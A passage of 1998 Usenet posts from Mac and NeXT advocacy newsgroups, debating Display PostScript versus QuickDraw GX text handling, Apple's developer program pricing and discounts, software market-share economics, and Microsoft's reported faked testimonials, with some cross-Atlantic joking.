a few years back (trying to rebut the dissemination of FUD at
the time) and they refused to publish it. I will attempt to
dig up the statistics I gathered at the time that demonstrated
how little *PostScript* programming is required in OpenStep
applications.
* You don't hear from many GX programmers because there
* aren't that many contributing to comp.sys.mac.advocacy
* or comp.sys.next.advocacy or comp.sys.next.programmer.
Well, what *are* they contributing to? You sure aren't
contributing to much. Where's you're OpenStep GX AppKit layer?
When will you start on it? Will you ever finish it, given you're
spending your life telling us how lousy DPS is compared to the
paper tiger of GX?
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 02:18:01 GMT
Organization: Indiana University, Bloomington
Message-ID: <6h15cp$55q$1@jetsam.uits.indiana.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3533C875.52A9@CONVEX.COM> <E0RY.22$BO3.157419@news.itd.umich.edu> <6h0at1$h5v$2@ns3.vrx.net>
In article <6h0at1$h5v$2@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <E0RY.22$BO3.157419@news.itd.umich.edu> not@my.address.net claimed:
>> If someone were to agree with me, they'd have to think that a substantially
>> larger market share confers a competitive advantage on a software company.
>> If someone were to agree with you, they'd have to think it confers no
>> advantage.
>
> I believe both, depending on the distribution system. Without a doubt
>larger shipping volume lowers the cost of "hard items" per unit, disks,
>manuals etc. So in those cases it helps. However if you use an electronic
>distribution system there is no advantage. Before anyone says no one got
>rich doing that, I say "look at Lighthouse".
>
>Maury
No matter what distribution system you use, development costs are
independent of market share. Even with an electronic distribution system,
or especially with an electronic distribution system, the more copies you
sell, the lower the per unit cost can be while still making up the
development costs.
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 98 19:57:02 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B159701C-344A1@207.217.155.17>
References: <6h0u82$44d$1@ha2.rdc1.sdca.home.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Rex Riley paraphrased Wil Shipley:
><Paraphrase> from Stepwise "Think Wisely" page:
>"The truth is Apple's developer program was way too generous,..."
>"... the new prices are chump change and those not making that much money
>don't really need to be in the developer program"
></Paraphrase>
Excellent paraphrase. It's time for cynical, evil me to issue a call for
some severe attitude adjustment here. Listen NeXTies. There aren't enough
of you writing software to make Rhapsody (as presented at 1997 WWDC)
successful. There just aren't. There were more of us doing OpenDoc, OK? We
couldn't save that. I may be able to write a simple word processor in 20
minutes with IB, and you may have been able to do that years ago, but it
didn't make NeXT a ladybug on a truck's windshield w.r.t. the wider
consumer market. Apple needs developers writing Rhapsody software if
Rhapsody is going to be a success. These monthly announcements in ADN about
so-and-so porting Enhanced-Niche-Do-Nothing-Product 5.6 to Rhapsody aren't
going mean squat.
Now, Apple can get developers one of two ways. Apple can actively and
positively court them, and do everything in its power short of paying them
or giving them equipment to get them to write cool Rhapsody stuff that
matters for a wide-audience OS. That's the "Guy Kawasaki" way... Or, Apple
can pay them. Herding a shrinking developer crowd into a marketing program,
treating developer tech-support as a profit center (or pricing it as a high
cost PITA), and reducing developer-to-engineer contact is a sure-fire way
to force developers to confront the costs of sticking with Apple platforms
and consider alternatives.
Before the NeXT purchase, there were so many good things happening at Apple
to improve DEVELOPER RELATIONS and that cost absolutely nothing and
required near-zero management. Apple was opening up with tech-specific
mailing lists, tech-specific news lists, etc. More than one Apple engineer
observed that it improved their products as well, because engineers got
better direct feedback from developers who actually used their stuff. Now,
we're back to a developer marketing mentality, where the variables are
costs and service packages.
While the rest of the business world is working to treat its customers like
partners, anachronistic Apple, under the direction of that dictator in
bought 16 months ago, wants to treat its partners like customers.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 98 00:17:08 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B159AD0E-119647@207.217.155.17>
References: <6h1i4e$h2l$1@news.digifix.com>
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Scott Anguish wrote:
> It is a FACT that the discount program was abused. It is a
>FACT that people joined, paid their $250, ordered hardware for
>themselves or friends, and never developed squat.
>
> I've witnessed invididuals doing this specific thing.
Then shame on Apple. A long time ago, we had to submit development plans to
Apple, and to renew every two years, we had to "recertify" by writing a
progress report to Apple.
If this was indeed the reason that hardware purchasing priveleges were
canned, then again, I say, shame on Apple for letting that happen and then
(in effect) punishing developers who dealt with you honestly. However, I'd
bet the abuse excuse isn't even a factor.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
Subject: Re: Microsoft Faking Testimonials...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <sczY.1017$ME2.5365651@news.itd.umich.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@CONVEX.COM>
In-Reply-To: <3533C875.52A9@CONVEX.COM>
From: not@my.address.net
Message-ID: <E0RY.22$BO3.157419@news.itd.umich.edu>
Date: Tue, 14 Apr 1998 22:01:08 GMT
NNTP-Posting-Date: Tue, 14 Apr 1998 18:01:08 EDT
On 04/14/98, Michael Peck wrote:
... quoting me ...
>> (2) The software industry, or at least certain sectors of it, exhibits
>> just that feature -- the range over which size gives you a competitive
>> advantage approaches the size of the market itself.
>
...
>Absolutely not.
>Bigger != better. I'm sorry to have to disabuse you of that juvenile
>notion.
The question is whether the per unit cost of production in the software
industry is independent of market share. I claim there's an inverse
correlation. You claim there's no correlation.
If someone were to agree with me, they'd have to think that a substantially
larger market share confers a competitive advantage on a software company.
If someone were to agree with you, they'd have to think it confers no
advantage.
Best,
--
invert: umich.edu jdevlin
insert: shift "2"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 20:57:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1597F5B-2F1EE@206.165.43.216>
References: <3533E109.A3A5ACA6@trilithon.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Henry McGilton <henry@trilithon.com> said:
> * What I was told on the GX newsgroup
> Well, if I were you, I wouldn't believe everything you
> hear on the GX newsgroup. You've demonstrated fairly
> clearly that there's a lot of confusion about DPS.
Well, this is obviously the case (in my case) and I won't claim that I'm
not mangling the info that was given out, but the source was one of the
Apple engineers working on Rhaposdy text/graphics issues, so in this case
you can certainly blame me for any info-mangling and not my source.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Tue, 14 Apr 1998 22:07:51 -0700
Organization: Trilithon Research and Trading
Message-ID: <353440A7.1E1FE7E@trilithon.com>
References: <6gvit9$8u$6@ns3.vrx.net> <B15903E4-68E92@206.165.43.147>
<3533E109.A3A5ACA6@trilithon.com> <6h0akt$h5v$1@ns3.vrx.net>
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Maury Markowitz wrote:
* In <3533E109.A3A5ACA6@trilithon.com> Henry McGilton claimed:
* * . . . The charpath strategy (which as far as I know
* * nobody uses for this purpose) is algorithmic, but you
* * wouldn't use it for a client-side application for
* * purposes such as character placement or line layout.
* That's my attack at the issue - I was going to run across
* the chars, cache the NSRect's in a NSArray, then on a draw:
* I'd use NSMidX to find the midpoint of the cached rects and
* use that for binding points and such.
I don't have any good feel for the approach. It sounds like it'll
work OK, but might involve more work than needed from the server.
* Lawson's "point" is that as you edit the string the glyphs
* may change "non-linearly".
Certain languages --- Hebrew, Arabic, Devanagari, Thai, et al --- change
both the shape and positioning of characters and possibly even parts of
characters, depending on context. That's what he's babbling about.
And he's trying to make the point that PostScript doesn't address
this issue (the "contextual forms" issue) where GeeX does. But as
the more knowledgable posters to the group keep saying, PostScript
was not designed to address contextual forms, rather, leaving that
up to the client side application.
I personally am uncomfortable with placing that much intelligence
into the fonts rendering layer. I expressed my doubts about the
viability of the approach to David Opstad of Apple some years ago.
He sent me E-Mail (which I'm trying to locate) with a pretty well-
reasoned (like, it made sense) explanation of the design decisions
behind GX typography.
* So, I'd just recache them. My point is that I'm doing
* bounding box calcs now and it's so fast that I couldn't
* see any reason it wouldn't work here either (in fact,
* I don't even really have to cache them, because any possible
* redraw is causing a global inval on them anyway).
* But your letter is even more intriguing, are you saying
* this information is already available to me via the AFM files?
To be honest, I don't have an example font with character parts
available. I have a dozen or so Korean fonts and a Thai font,
but they all have complete composed characters --- none of them
have the character parts that you'd need for Awesome Lawson's
tri-glyph support issues. I'm assuming (I know, one should never
assume) that a Hangul font with all the parts available would
have a corresponding AFM file detailing the bounding boxes of
both the fully composed characters, and the parts of the characters.
* You're new to this group,
Only since 1991 --- a relative newbie.
* let me assure you it's been a neverending stream of such issues.
I kind of tune in now and again to see if anything interesting
is going on. When I get sufficiently fired up over the degree of
dis-information, I feel compelled to post. Like Greg Anderson,
I tune in every month or so, notice that the QD GeeX still can't
read the DPS manuals, and tune out again. Or I read the few
messages (from Greg, Macolm, and Chuck) that indicate they know
what they're talking about, and pass on.
Oh, well, back to Real World (sic) Java hacking and my
PostScript LL3 book.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Tue, 14 Apr 1998 15:19:53 -0700
Organization: Trilithon Research and Trading
Message-ID: <3533E109.A3A5ACA6@trilithon.com>
References: <6gvit9$8u$6@ns3.vrx.net> <B15903E4-68E92@206.165.43.147>
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Lawson English wrote:
* I confused "Han" (the term used in the Unicode
* specification to describe the glyphs) with Hangul
* (the Korean alphabet which happens to use those
* glyphs -i think;-/).
One More Time, Now:
Hanja, Hanzi, Kanji are collectively referred to as Han.
And a much disputed aspect of Unicode is the issue of
Han unification, where the same glyphs from the
different countries are placed in the same code point.
Where the ideograph for a specific idea has changed from
one place to another, the different glyphs are assigned
different code points.
For example, the character for "spirit" is different between
Hanzi and Kanji. So they're in different code points.
Hangul is strictly a phonetic (syllabic) alphabet. Clearly,
or as clearly as I can determine from my Korean language
textbook, you don't use the Hungul script to write Hanja
glyphs. As I said previously, they're completely separate
animals. You wouldn't use the Hiragana syllabry to write
Kanji glyphs, either.
<<<< Stuff about caching bounding boxes deleted >>>>>
* Dan and I assert that GX's layout and glyph shapes
* were designed from the ground up to do this efficiently
* and that DPS itself wasn't.
PostScript is and was designed as a low level marking
engine. We're once more back to the argument about where
to put the intelligence about issues such as contextual
forms and line layout. PostScript is at a low level, by
design, expecting the intelligence to be at a higher level,
which, in the case of DPS, would be in the client, and in
the case of the OpenStep Text Objects, *is* in the client.
* Like as not, the Rhaposody glyph class uses a more
* efficient way of determining the bounding box of a
* glyph
I'd assume they use the data available from AFM files --- that's
what AFM is designed for.
* than raw DPS, but that would possible because it has
* the relevant glyph-info available within the
* object just as it is available within the GX glyph
* shape, presumeably obtained algorithmically rather
* than using DPS's charpath strategy.
This last part is so confused I wouldn't know where to
start trying to untangle it. The charpath strategy (which
as far as I know nobody uses for this purpose) is
algorithmic, but you wouldn't use it for a client-side
application for purposes such as character placement or
line layout.
I've used the DPS engine to get charpaths, but the applications
were pretty esoteric, primarily to (re)-generate AFM data for
purposes of determining if vendors' AFM files were any use
(many of them were wrong).
* What I was told on the GX newsgroup
Well, if I were you, I wouldn't believe everything you
hear on the GX newsgroup. You've demonstrated fairly
clearly that there's a lot of confusion about DPS.
* is that DPS is being used primarily as a rendering
* engine
Yep --- that's what it's designed for.
* when dealing with text, and that queries to DPS for
* things like hit-testing are reserved for NSViews (?)
* and not individual characters.
This is clearly a crock. You can hit-test down to as low
a granularity as you want. You can use instroke, infill,
ineofill, inueofill, inufill, and inustroke, for as small
and complex a path as you wish.
* This suggests that the bounding box of individual
* glyphs is also determined on the framework side
* instead of the rendering side of the equation.
That's a good summary of how the AppKit client and DPS server
are designed to interact with each other and work together
to provide high-performance editing capabilities.
Were you to use your (L)awsome powers of programming to
implement a client-side GX layer that uses the DPS server
as the marking engine it was designed to be, you could
likely flange up a great GX API for all of us poor
benighted blighters to behold in wonderment and ask
ourselves why we ever bothered with such a lousy
framework as the AppKit.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 22:29:18 GMT
Organization: I don't think so
Message-ID: <slrn6j7ovh.ei4.jason@jhste1.dyn.ml.org>
References: <6gdhvg$2ls$2@anvil.BLaCKSMITH.com> <35330720.2781E494@spam.me> <slrn6j65mt.p5a.mbkennel@lyapunov.ucsd.edu> <6gvasb$1sr@gap.cco.caltech.edu> <6gvvbj$q7s@nrtphc11.bnr.ca>
Matthew Cromer wrote:
>Time to change ISP's I guess
>I have more problem with Cable TV than with Mindspring.
>The internet has problems but Mindspring delivers IP to my computer
>better than 99% of the time.
Geez, I've had some serious problems with Mindspring lately. They changed
upstream providers (from PSInet to Gridnet) and it's been nothing but
trouble for me (in Buffalo). I'm glad I kept my Earthlink account (which
uses the PSInet "problem" provider that Mindspring ditched), because the
PSInet service seems to be much better than Gridnet here. The newsfeed
on Mindspring is outstanding, though (Earthlink's news sucks), so I dial
up Earthlink and head to the Mindspring news servers. (What's really ironic
is that the PSInet busies have dwindled to nothing since Mindspring left,
so Earthlink users are better off now). Of course, I'd rather not pay for
two ISPs, but such is life, I guess. A backup is nice to have.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 98 22:54:49 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15999CB-D0FD2@207.217.155.17>
References: <6h1946$e04$1@news.digifix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
Scott Anguish wrote:
> I agree with what Wil says in the article. The old program
>was severely abused by those who wanted cheap hardware and nothing
>more. By those who wanted cheap access to all the updates and
>bleeding edge stuff, even though they didn't ever do any development.
You and Wil have absolutely no basis for making such a claim. If that
happens to be the case, then shame on Apple for letting it happen. See my
other post.
> And RIGHT HERE, YOU INDICATE THAT YOU NEED TO ADJUST YOUR
>ATTITUDE.
That was my cynical, evil side getting out of hand. Laugh at it a little
;-).
> There is no NeXTies anymore. There are Rhapsody developers.
>Those of us who are actively developing on the platform (not waiting
>for DR2 or CR1, or an installed base) are attempting to make things
>right.
You and Wil had no problem being NeXTies a year ago. Of everything great
about the Mac, the two of you would say "OpenStep does that". Well, 16
months later, Rhapsody doesn't do that (compound documents, user
components, OO graphics). You know what really sucks from my POV? Neither
will the MacOS for much longer.
Just so you know, I gave OpenStep a chance. In fact, I spent about four
times as long (about a month) with it giving it a chance as it took me to
figure out that OpenDoc was the coolest thing I'd ever seen (about a week).
I still don't see how OpenStep does user components or how it really makes
my life writing a user component architecture from scratch any easier than
anything else (say PowerPlant + Constructor, for example).
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy
it!
Point your Cyberdog to the Hutchings Software web site.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 15 Apr 1998 01:02:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B159B890-32953@206.165.43.108>
References: <3534431D.AD9C2AA6@trilithon.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Henry McGilton <henry@trilithon.com> said:
> * Mike Paquette works for Apple.
> And works bloody hard, too.
I am sure that he does. And your point? The GX team worked hard for APple
also. Some still do in other graphics projects, mostly in the QTML, I
believe.
> * Other people program using DPS
> very few people "program using DPS". This is one of the standard
> items of mythology promulgated by the anti-OpenStep faction.
Are you putting me in that faction? Why? Because I would prefer to see a
different graphics architecture? Whether or not I have any valid points to
make about DPS vs GX, I seldom, if ever, knock Objective C and while I'm
not convinced that the Rhapsody Yellow Box framework will be "perfect," I'm
quite willing to concede that a universally avaible OOP framework can have
MAJOR advantages over Apple's Toolbox-style APIs.
The
> amount of *PostScript* programming necessary in any run-of-the-mill
> OpenStep application is down around the one percent region. I
> posted a long letter to this effect to one of the UNIX rags
> a few years back (trying to rebut the dissemination of FUD at
> the time) and they refused to publish it. I will attempt to
> dig up the statistics I gathered at the time that demonstrated
> how little *PostScript* programming is required in OpenStep
> applications.
>
Directly, you mean. I understand that the DPS engine can render things
faster than GX in many ways. I accept that. I just wanna have the ability
to do in Rhapsody the kinds of things that I can with GX.
> * You don't hear from many GX programmers because there
> * aren't that many contributing to comp.sys.mac.advocacy
> * or comp.sys.next.advocacy or comp.sys.next.programmer.
> Well, what *are* they contributing to?
Making 4-star apps for Macintosh, like Ready, Set, Go! or LIghtningDraw
Pro, or Creator2.
Currently, the only way to add a QuickTime Vector Graphics track to a
QuickTime movie is via LightningDraw, and RSG is/was shipped with every Mac
sold in China, if you don't think that any of those are strategic apps
> You sure aren't contributing to much. Where's you're OpenStep GX AppKit
> layer?
> When will you start on it? Will you ever finish it, given you're
> spending your life telling us how lousy DPS is compared to the
> paper tiger of GX?
>
Why are you defending DPS? If DPS is so seldom used in Rhapsody, why worry
as long as Rhaposdy can produce the graphics that YOU want it to? Everyone
accuses me of being a nut about GX. Fine. But the only ones who would
bother arguing with a nut over something that he is obsessed with are other
nuts, I'll bet...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 22:30:48 GMT
Organization: I don't think so
Message-ID: <slrn6j7p2e.ei4.jason@jhste1.dyn.ml.org>
References: <6gvit9$8u$6@ns3.vrx.net> <B15903E4-68E92@206.165.43.147> <6h013d$bnb$3@ns3.vrx.net>
Maury Markowitz wrote:
>In <B15903E4-68E92@206.165.43.147> "Lawson English" claimed:
>[snipped the irrelivant portion]
>Maury
Play nice.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: hazelNut <sjwright@tiac.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Tue, 14 Apr 1998 18:37:52 -0400
Organization: The Internet Access Company, Inc.
Message-ID: <3533E541.27F5@tiac.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: "Eric A. Dubiel" <eadubie@rs6000.cmp.ilstu.edu>
Eric A. Dubiel wrote:
>
> Check it out...don't believe the M$ hype...
> http://www.abcnews.com/sections/business/DailyNews/microsoft_media980410/index.html
>
> "With antitrust challenges and the launch of Windows
> 98 looming, Microsoft is reportedly looking to polish its
> war-torn image with a series of faux feel-good
> testimonials."
>
> I think the feds should just let the case drop, and let the free-market
> be the regulator.
> --
> Eric A. Dubiel; http://www.ilstu.edu/~eadubie
> "In the New Day That's Coming - FREEDOM
> FOR ALL - Is Our Destiny, Yeah!" -- Robert Miles
> <robert-miles@msn.com>, 23am, Freedom
> VIEWS EXPRESSED ARE ENTIRELY MY OWN
And I presume that in another "view entirely your own," J.D. Rockefeller
should have stood his ground in NY Superior Court and not let Standard
Oil be broken up?! Or maybe Jay Gould should have finally pursued the
case against the Vanderbilts? Come on!!!
Steve Wright.
--
"I think Apple needs to worry less about competing with Microsoft
and worry more about doing things that are different."
Steve Jobs\August 8, 1997
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 98 19:27:43 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B159695D-1AF11@207.217.155.17>
References: <trumbull-1404981049260001@net44-223.student.yale.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
Ben Trumbull responding to mmalc:
>You said Apple changed the dev program to prevent people from abusing it
>because Apple was losing money on it. You and other people suggested
>Apple was "subsidizing" hobbyist developers.
I expect this variety of strawman (developers abusing purchasing program)
from the likes of Joe Ragosta. The fact is there are developers who do not
abuse the purchasing program. This "abuse excuse" was never stated in any
official Apple statement, nor have any Apple employees mentioned it as a
reason for effectively ending hardware purchasing discounts for developers.
<hypothetical>
And let's just say some developers were abusing the program, and that's
what made Apple can it. It's Apple's fault for letting them abuse it. It's
just like when you go to a grocery store and some jerk with 12 items and
his checkbook gets into the cash only 10 items or less line. It's the
store's responsibility to enforce the rules, and it's just good business to
do it, so that honest, paying customers don't get po'd in the end. That's
what's happening on this developer relations thing, BTW.
</hypothetical>
I read Wil Shipley's little statement in Stepwise. I've gotta tell you,
it's getting easier and easier lately to let my cyncical evil side take
over my otherwise rational mind and hope that the NeXTies will get theirs
dished back at them sometime in the coming year. Perhaps something as
trivial as their existing NeXT apps not actually running on Rhapsody with a
simple recompile would be enough... haha. You NeXTies sure do stick
together!!
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 01:04:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B159B91A-3498F@206.165.43.108>
References: <B15999CB-D0FD2@207.217.155.17>
To: "Brad Hutchings" <brad@hutchings-software.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Brad Hutchings <brad@hutchings-software.com> said:
> Rhapsody doesn't do that (compound documents, user
> components, OO graphics). You know what really sucks from my POV?
> Neither
> will the MacOS for much longer.
??????
First Cyberdog, now OpenDoc itself?
The hand of Jobs scribbles out what he doesn't understand, and moves on...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 14 Apr 1998 18:45:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h0at1$h5v$2@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu>
<35326121.287@CONVEX.COM> <sczY.1017$ME2.5365651@news.itd.umich.edu>
<3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu>
<3533C875.52A9@CONVEX.COM> <E0RY.22$BO3.157419@news.itd.umich.edu>
Mime-Version: 1.0
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Cc: not@my.address.net
In <E0RY.22$BO3.157419@news.itd.umich.edu> not@my.address.net claimed:
> If someone were to agree with me, they'd have to think that a substantially
> larger market share confers a competitive advantage on a software company.
> If someone were to agree with you, they'd have to think it confers no
> advantage.
I believe both, depending on the distribution system. Without a doubt
larger shipping volume lowers the cost of "hard items" per unit, disks,
manuals etc. So in those cases it helps. However if you use an electronic
distribution system there is no advantage. Before anyone says no one got
rich doing that, I say "look at Lighthouse".
Maury
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 05:50:10 GMT
Organization: Digital Fix Development
Message-ID: <6h1hqi$gug$1@news.digifix.com>
References: <6h0f73$5cq$1@news.digifix.com> <B1598BBB-5DA39@206.165.43.216>
In-Reply-To: <B1598BBB-5DA39@206.165.43.216>
On 04/14/98, "Lawson English" wrote:
>Scott Anguish <sanguish@digifix.com> said:
>
>> Yet he managed to continue it, make money, and build it into a
>> defacto standard on the Mac.
>>
>> All with the seeds... probably without any apple support..
>>
>> Great argument for hobbists doing it for themselves.
>
>
>
>Are you suggesting that it would have been tougher on Mr. Lau (SP?)
if he
>HAD had support in the form of the latest beta seeds?
Certainly not.
I'm suggesting that you can develop successful freeware
products without Apple's help, and without access to beta seeds.
We ALL did it without access to every freaking beta seed for
years..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 05:55:26 GMT
Organization: Digital Fix Development
Message-ID: <6h1i4e$h2l$1@news.digifix.com>
References: <6h1946$e04$1@news.digifix.com> <B1598D68-63F23@206.165.43.216>
In-Reply-To: <B1598D68-63F23@206.165.43.216>
On 04/14/98, "Lawson English" wrote:
>Scott Anguish <sanguish@digifix.com> said:
>
>[referring to Brad Hutchings referring to editorial]
>
>>
>> First, off, this was not from a "Think Wisely" page. This was
>> from an editoria that was written by Wil Shipley.
>>
>> I agree with what Wil says in the article. The old program
>> was severely abused by those who wanted cheap hardware and nothing
>> more. By those who wanted cheap access to all the updates and
>> bleeding edge stuff, even though they didn't ever do any
development.
>>
>> For a business, $500 for access to the facilities that you get
>> with Select is a bargain.
>
>It is interesting that some developers are complaining about losing
the
>developer discounts while others are claiming that those discounts
weren't
>worth anything in the first place while others are claiming that the
>discount program was severely abused...
>
First off, the last point is entirely separate from the first
two issues.
- some developers are complaining about losing the developer
discounts
- some developers claim that those discounts weren't worth
anything in the first place.
This is a matter of shopping around. Too some people a
difference of $100 or so isn't worth dealing with the developer
relations channels.
As far as who to believe here... well... shop around.. see
what you can find out.
As for the last point..
It is a FACT that the discount program was abused. It is a
FACT that people joined, paid their $250, ordered hardware for
themselves or friends, and never developed squat.
I've witnessed invididuals doing this specific thing.
>Who to believe?
In the case of the first two, you can do the research
yourself.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: MacBacon-Berger@bigfoot.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Wed, 15 Apr 1998 03:27:17 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6h1r14$ui8$1@nnrp1.dejanews.com>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51> <ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net>
In article <cirby-1404981050430001@pm61-12.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
>
> Dave Griffiths <dgriffit@acorn.co.uk> wrote:
>
> > If it wasn't for us Europeans you lot would still be living in wigwams
> > and hunting buffalo with bows and arrows!
>
> Well, if it wasn't for the US, you guys would be drinking warm beer,
> eating badly-cooked food, and foisting silly girl groups on...
whoa, if it hadn't been for us Brits inventing the computer in the WW2 and
thereby breaking the Japanese enigma cypher you guys would all be eating
sushi, driving Hondas and watching Endurance on the TV!
David
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: p.kerr@auckland.ac.nz (Peter Kerr)
Newsgroups: comp.lang.postscript,comp.sys.next.advocacy
Subject: Re: Adobe dps-info Was:Re: End of Display PostScript?
Date: Wed, 15 Apr 1998 18:22:55 +1200
Organization: School of Music University of Auckland
Message-ID: <p.kerr-1504981822550001@news.auckland.ac.nz>
